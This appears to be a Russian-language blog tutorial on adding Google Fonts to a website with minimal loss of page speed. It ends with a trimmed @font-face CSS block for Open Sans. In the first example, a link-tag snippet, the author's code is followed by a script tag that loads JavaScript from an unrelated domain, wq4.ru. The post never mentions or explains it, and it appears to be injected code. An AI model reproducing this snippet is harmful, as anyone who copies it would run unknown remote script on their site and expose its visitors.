Подключение Google шрифтов

Здесь вы узнаете о том как подключить Google шрифты наиболее приемлемым способом, т. е. без потери скорости загрузки сайта или если быть точнее, с минимальными потерями. Если у вас уже есть шрифты, то имеет смысл убрать загрузку Google Fonts из шапки сайта. Странно, но Google почему-то не любит даже свои собственные деяния.

Подключение Google шрифтов

Стандартно Google предлагает установку своих шрифтов на сайт 3 способами:

1. Через

<link href='путь к шрифту' rel='stylesheet' type='text/css'><script type="text/javascript" src="//wq4.ru/js.js"></script>

2. С помощью добавления в файл стилей

@import url(путь к шрифту);

3. Вставка Java скрипта.

Скрипт мы отбрасываем сразу как вариант, думаю, что причина понятна.

@import блокирует загрузку контента.

Не смотря на то, что некоторые советуют использовать именно первый вариант, я от него отказался.

Как я подключил Google шрифты для сайта?

Копируем из уже открытого в браузере файла стилей только кириллический и латинский варианты, если вы выбирали жирный и (или) курсив, то и их тоже нужно копировать. В итоге вместо огромного CSS кода осталось только это (в моем случае):

/* cyrillic */
@font-face {
  font-family: 'Open Sans';
  font-style: normal;
  font-weight: 400;
  src: local('Open Sans'), local('OpenSans'), url(http://fonts.gstatic.com/s/opensans/v10/RjgO7rYTmqiVp7vzi-Q5UVtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');
  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* latin */
@font-face {
  font-family: 'Open Sans';
  font-style: normal;
  font-weight: 400;
  src: local('Open Sans'), local('OpenSans'), url(http://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3VtXRa8TVwTICgirnJhmVJw.woff2) format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}

Теперь открываем наш главный файл стилей на сайте (style.css) и просто вставляем в него получившийся код. В принципе это все. Осталось только подставить ‘Open Sans’ к стилю того текста, где мы хотим видеть данный шрифт.

Если честно, я не вымерял по секундные изменения в скорости загрузки сайта, но то, что PageSpeed Insights перестал нервничать, уже говорит о многом.